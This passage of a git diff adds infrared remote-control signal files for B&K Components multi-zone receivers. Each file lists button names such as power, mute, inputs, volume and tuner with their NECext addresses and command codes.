+command: 7A 00 00 00 +# +name: BK000_EXIT +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 7D 00 00 00 +# +name: BK000_TUNER_2 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 84 00 00 00 +# +name: BK000_FM +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 8E 00 00 00 +# +name: BK000_SOURCE- +type: parsed +protocol: NECext +address: FB 40 00 00 +command: A6 00 00 00 +# +name: BK000_SLEEP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: B3 00 00 00 +# +name: BK000_PRESET- +type: parsed +protocol: NECext +address: FB 40 00 00 +command: C6 00 00 00 +# +name: BK000_LOUDNESS +type: parsed +protocol: NECext +address: FB 40 00 00 +command: CF 00 00 00 +# +name: BK000_AUTO_LEVEL +type: parsed +protocol: NECext +address: FB 40 00 00 +command: E4 00 00 00 +# +name: BK000_BASS+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: E5 00 00 00 +# +name: BK000_TREBLE+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: F9 00 00 00 +# +name: BK000_VIDEO+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir new file mode 100644 index 000000000..68e37c950 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK033_POWER_OFF +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 01 00 00 00 +# +name: BK033_POWER_ON +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 02 00 00 00 +# +name: BK033_MUTE +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 03 00 00 00 +# +name: BK033_INPUT_1 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 05 00 00 00 +# +name: BK033_INPUT_3 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 06 00 00 00 +# +name: BK033_INPUT_8 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 07 00 00 00 +# +name: BK033_INPUT_2 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 09 00 00 00 +# +name: BK033_INPUT_7 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 0B 00 00 00 +# +name: BK033_INPUT_4 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 0D 00 00 00 +# +name: BK033_TUNER_1 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 0E 00 00 00 +# +name: BK033_INPUT_5 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 0F 00 00 00 +# +name: BK033_STATION- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 17 00 00 00 +# +name: BK033_STATION+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 18 00 00 00 +# +name: BK033_TUNE- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 1B 00 00 00 +# +name: BK033_TUNE+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 1C 00 00 00 +# +name: BK033_LEFT +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 1F 00 00 00 +# +name: BK033_RIGHT +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 20 00 00 00 +# +name: BK033_VOLUME- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 23 00 00 00 +# +name: BK033_VOLUME+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 24 00 00 00 +# +name: BK033_NUMBER_+10 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 29 00 00 00 +# +name: BK033_EQ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 2A 00 00 00 +# +name: BK033_DOWN +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 2D 00 00 00 +# +name: BK033_UP +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 2E 00 00 00 +# +name: BK033_ENTER +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 30 00 00 00 +# +name: BK033_NUMBER_1 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 31 00 00 00 +# +name: BK033_NUMBER_2 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 32 00 00 00 +# +name: BK033_NUMBER_3 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 33 00 00 00 +# +name: BK033_NUMBER_4 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 35 00 00 00 +# +name: BK033_NUMBER_5 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 36 00 00 00 +# +name: BK033_NUMBER_6 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 37 00 00 00 +# +name: BK033_NUMBER_7 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 39 00 00 00 +# +name: BK033_NUMBER_8 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 3A 00 00 00 +# +name: BK033_NUMBER_9 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 3B 00 00 00 +# +name: BK033_NUMBER_0 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 3E 00 00 00 +# +name: BK033_SAVE +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 40 00 00 00 +# +name: BK033_TUNER_3 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 44 00 00 00 +# +name: BK033_INPUT_6 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 4A 00 00 00 +# +name: BK033_PRESET+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 4B 00 00 00 +# +name: BK033_D-IN +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 5A 00 00 00 +# +name: BK033_BASS- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 65 00 00 00 +# +name: BK033_SOURCE+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 66 00 00 00 +# +name: BK033_INPUT_9 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 6E 00 00 00 +# +name: BK033_AM +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 76 00 00 00 +# +name: BK033_TREBLE- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 79 00 00 00 +# +name: BK033_VIDEO- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 7A 00 00 00 +# +name: BK033_EXIT +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 7D 00 00 00 +# +name: BK033_TUNER_2 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 84 00 00 00 +# +name: BK033_FM +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 8E 00 00 00 +# +name: BK033_SOURCE- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: A6 00 00 00 +# +name: BK033_SLEEP +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: B3 00 00 00 +# +name: BK033_PRESET- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: C6 00 00 00 +# +name: BK033_LOUDNESS +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: CF 00 00 00 +# +name: BK033_AUTO_LEVEL +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: E4 00 00 00 +# +name: BK033_BASS+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: E5 00 00 00 +# +name: BK033_TREBLE+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: F9 00 00 00 +# +name: BK033_VIDEO+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir new file mode 100644 index 000000000..830e63089 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK022_POWER_OFF +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 01 00 00 00 +# +name: BK022_POWER_ON +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 02 00 00 00 +# +name: BK022_MUTE +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 03 00 00 00 +# +name: BK022_INPUT_1 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 05 00 00 00 +# +name: BK022_INPUT_3 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 06 00 00 00 +# +name: BK022_INPUT_8 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 07 00 00 00 +# +name: BK022_INPUT_2 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 09 00 00 00 +# +name: BK022_INPUT_7 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 0B 00 00 00 +# +name: BK022_INPUT_4 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 0D 00 00 00 +# +name: BK022_TUNER_1 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 0E 00 00 00 +# +name: BK022_INPUT_5 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 0F 00 00 00 +# +name: BK022_STATION- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 17 00 00 00 +# +name: BK022_STATION+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 18 00 00 00 +# +name: BK022_TUNE- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 1B 00 00 00 +# +name: BK022_TUNE+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 1C 00 00 00 +# +name: BK022_LEFT +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 1F 00 00 00 +# +name: BK022_RIGHT +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 20 00 00 00 +# +name: BK022_VOLUME- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 23 00 00 00 +# +name: BK022_VOLUME+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 24 00 00 00 +# +name: BK022_NUMBER_+10 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 29 00 00 00 +# +name: BK022_EQ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 2A 00 00 00 +# +name: BK022_DOWN +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 2D 00 00 00 +# +name: BK022_UP +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 2E 00 00 00 +# +name: BK022_ENTER +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 30 00 00 00 +# +name: BK022_NUMBER_1 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 31 00 00 00 +# +name: BK022_NUMBER_2 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 32 00 00 00 +# +name: BK022_NUMBER_3 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 33 00 00 00 +# +name: BK022_NUMBER_4 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 35 00 00 00 +# +name: BK022_NUMBER_5 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 36 00 00 00 +# +name: BK022_NUMBER_6 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 37 00 00 00 +# +name: BK022_NUMBER_7 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 39 00 00 00 +# +name: BK022_NUMBER_8 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 3A 00 00 00 +# +name: BK022_NUMBER_9 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 3B 00 00 00 +# +name: BK022_NUMBER_0 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 3E 00 00 00 +# +name: BK022_SAVE +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 40 00 00 00 +# +name: BK022_TUNER_3 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 44 00 00 00 +# +name: BK022_INPUT_6 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 4A 00 00 00 +# +name: BK022_PRESET+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 4B 00 00 00 +# +name: BK022_D-IN +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 5A 00 00 00 +# +name: BK022_BASS- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 65 00 00 00 +# +name: BK022_SOURCE+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 66 00 00 00 +# +name: BK022_INPUT_9 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 6E 00 00 00 +# +name: BK022_AM +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 76 00 00 00 +# +name: BK022_TREBLE- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 79 00 00 00 +# +name: BK022_VIDEO- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 7A 00 00 00 +# +name: BK022_EXIT +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 7D 00 00 00 +# +name: BK022_TUNER_2 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 84 00 00 00 +# +name: BK022_FM +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 8E 00 00 00 +# +name: BK022_SOURCE- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: A6 00 00 00 +# +name: BK022_SLEEP +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: B3 00 00 00 +# +name: BK022_PRESET- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: C6 00 00 00 +# +name: BK022_LOUDNESS +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: CF 00 00 00 +# +name: BK022_AUTO_LEVEL +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: E4 00 00 00 +# +name: BK022_BASS+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: E5 00 00 00 +# +name: BK022_TREBLE+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: F9 00 00 00 +# +name: BK022_VIDEO+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir new file mode 100644 index 000000000..3215aac14 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK029_POWER_OFF +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 01 00 00 00 +# +name: BK029_POWER_ON +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 02 00 00 00 +# +name: BK029_MUTE +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 03 00 00 00 +# +name: BK029_INPUT_1 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 05 00 00 00 +# +name: BK029_INPUT_3 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 06 00 00 00 +# +name: BK029_INPUT_8 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 07 00 00 00 +# +name: BK029_INPUT_2 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 09 00 00 00 +# +name: BK029_INPUT_7 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 0B 00 00 00 +# +name: BK029_INPUT_4 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 0D 00 00 00 +# +name: BK029_TUNER_1 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 0E 00 00 00 +# +name: BK029_INPUT_5 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 0F 00 00 00 +# +name: BK029_STATION- +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 17 00 00 00 +# +name: BK029_STATION+ +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 18 00 00 00 +# +name: BK029_TUNE- +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 1B 00 00 00 +# +name: BK029_TUNE+ +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 1C 00 00 00 +# +name: BK029_LEFT +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 1F 00 00 00 +# +name: BK029_RIGHT +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 20 00 00 00 +# +name: BK029_VOLUME- +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 23 00 00 00 +# +name: BK029_VOLUME+ +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 24 00 00 00 +# +name: BK029_NUMBER_+10 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 29 00 00 00 +# +name: BK029_EQ +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 2A 00 00 00 +# +name: BK029_DOWN +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 2D 00 00 00 +# +name: BK029_UP +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 2E 00 00 00 +# +name: BK029_ENTER +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 30 00 00 00 +# +name: BK029_NUMBER_1 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 31 00 00 00 +# +name: BK029_NUMBER_2 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 32 00 00 00 +# +name: BK029_NUMBER_3 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 33 00 00 00 +# +name: BK029_NUMBER_4 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 35 00 00 00 +# +name: BK029_NUMBER_5 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 36 00 00 00 +# +name: BK029_NUMBER_6 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 37 00 00 00 +# +name: BK029_NUMBER_7 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 39 00 00 00 +# +name: BK029_NUMBER_8 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 3A 00 00 00 +# +name: BK029_NUMBER_9 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 3B 00 00 00 +# +name: BK029_NUMBER_0 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 3E 00 00 00 +# +name: BK029_SAVE +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 40 00 00 00 +# +name: BK029_TUNER_3 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 44 00 00 00 +# +name: BK029_INPUT_6 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 4A 00 00 00 +# +name: BK029_PRESET+ +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 4B 00 00 00 +# +name: BK029_D-IN +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 5A 00 00 00 +# +name: BK029_BASS- +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 65 00 00 00 +# +name: BK029_SOURCE+ +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 66 00 00 00 +# +name: BK029_INPUT_9 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 6E 00 00 00 +# +name: BK029_AM +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 76 00 00 00 +# +name: BK029_TREBLE- +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 79 00 00 00 +# +name: BK029_VIDEO- +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 7A 00 00 00 +# +name: BK029_EXIT +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 7D 00 00 00 +# +name: BK029_TUNER_2 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 84 00 00 00 +# +name: BK029_FM +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 8E 00 00 00 +# +name: BK029_SOURCE- +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: A6 00 00 00 +# +name: BK029_SLEEP +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: B3 00 00 00 +# +name: BK029_PRESET- +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: C6 00 00 00 +# +name: BK029_LOUDNESS +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: CF 00 00 00 +# +name: BK029_AUTO_LEVEL +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: E4 00 00 00 +# +name: BK029_BASS+ +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: E5 00 00 00 +# +name: BK029_TREBLE+ +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: F9 00 00 00 +# +name: BK029_VIDEO+ +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir new file mode 100644 index 000000000..6e639c795 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK013_POWER_OFF +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 01 00 00 00 +# +name: BK013_POWER_ON +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 02 00 00 00 +# +name: BK013_MUTE +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 03 00 00 00 +# +name: BK013_INPUT_1 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 05 00 00 00 +# +name: BK013_INPUT_3 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 06 00 00 00 +# +name: BK013_INPUT_8 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 07 00 00 00 +# +name: BK013_INPUT_2 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 09 00 00 00 +# +name: BK013_INPUT_7 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0B 00 00 00 +# +name: BK013_INPUT_4 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0D 00 00 00 +# +name: BK013_TUNER_1 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0E 00 00 00 +# +name: BK013_INPUT_5 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0F 00 00 00 +# +name: BK013_STATION- +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 17 00 00 00 +# +name: BK013_STATION+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 18 00 00 00 +# +name: BK013_TUNE- +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 1B 00 00 00 +# +name: BK013_TUNE+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 1C 00 00 00 +# +name: BK013_LEFT +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 1F 00 00 00 +# +name: BK013_RIGHT +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 20 00 00 00 +# +name: BK013_VOLUME- +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 23 00 00 00 +# +name: BK013_VOLUME+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 24 00 00 00 +# +name: BK013_NUMBER_+10 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 29 00 00 00 +# +name: BK013_EQ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 2A 00 00 00 +# +name: BK013_DOWN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 2D 00 00 00 +# +name: BK013_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 2E 00 00 00 +# +name: BK013_ENTER +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 30 00 00 00 +# +name: BK013_NUMBER_1 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 31 00 00 00 +# +name: BK013_NUMBER_2 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 32 00 00 00 +# +name: BK013_NUMBER_3 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 33 00 00 00 +# +name: BK013_NUMBER_4 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 35 00 00 00 +# +name: BK013_NUMBER_5 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 36 00 00 00 +# +name: BK013_NUMBER_6 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 37 00 00 00 +# +name: BK013_NUMBER_7 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 39 00 00 00 +# +name: BK013_NUMBER_8 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 3A 00 00 00 +# +name: BK013_NUMBER_9 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 3B 00 00 00 +# +name: BK013_NUMBER_0 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 3E 00 00 00 +# +name: BK013_SAVE +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 40 00 00 00 +# +name: BK013_TUNER_3 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 44 00 00 00 +# +name: BK013_INPUT_6 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 4A 00 00 00 +# +name: BK013_PRESET+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 4B 00 00 00 +# +name: BK013_D-IN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 5A 00 00 00 +# +name: BK013_BASS- +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 65 00 00 00 +# +name: BK013_SOURCE+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 66 00 00 00 +# +name: BK013_INPUT_9 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 6E 00 00 00 +# +name: BK013_AM +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 76 00 00 00 +# +name: BK013_TREBLE- +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 79 00 00 00 +# +name: BK013_VIDEO- +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 7A 00 00 00 +# +name: BK013_EXIT +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 7D 00 00 00 +# +name: BK013_TUNER_2 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 84 00 00 00 +# +name: BK013_FM +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 8E 00 00 00 +# +name: BK013_SOURCE- +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: A6 00 00 00 +# +name: BK013_SLEEP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: B3 00 00 00 +# +name: BK013_PRESET- +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: C6 00 00 00 +# +name: BK013_LOUDNESS +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: CF 00 00 00 +# +name: BK013_AUTO_LEVEL +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: E4 00 00 00 +# +name: BK013_BASS+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: E5 00 00 00 +# +name: BK013_TREBLE+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: F9 00 00 00 +# +name: BK013_VIDEO+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir new file mode 100644 index 000000000..cae7a8e3d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK018_POWER_OFF +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 01 00 00 00 +# +name: BK018_POWER_ON +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 02 00 00 00 +# +name: BK018_MUTE +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 03 00 00 00 +# +name: BK018_INPUT_1 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 05 00 00 00 +# +name: BK018_INPUT_3 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 06 00 00 00 +# +name: BK018_INPUT_8 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 07 00 00 00 +# +name: BK018_INPUT_2 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 09 00 00 00 +# +name: BK018_INPUT_7 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 0B 00 00 00 +# +name: BK018_INPUT_4 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 0D 00 00 00 +# +name: BK018_TUNER_1 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 0E 00 00 00 +# +name: BK018_INPUT_5 +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 0F 00 00 00 +# +name: BK018_STATION- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 17 00 00 00 +# +name: BK018_STATION+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 18 00 00 00 +# +name: BK018_TUNE- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 1B 00 00 00 +# +name: BK018_TUNE+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 1C 00 00 00 +# +name: BK018_LEFT +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 1F 00 00 00 +# +name: BK018_RIGHT +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 20 00 00 00 +# +name: BK018_VOLUME- +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 23 00 00 00 +# +name: BK018_VOLUME+ +type: parsed +protocol: NECext +address: 07 8F 00 00 +command: 24 00 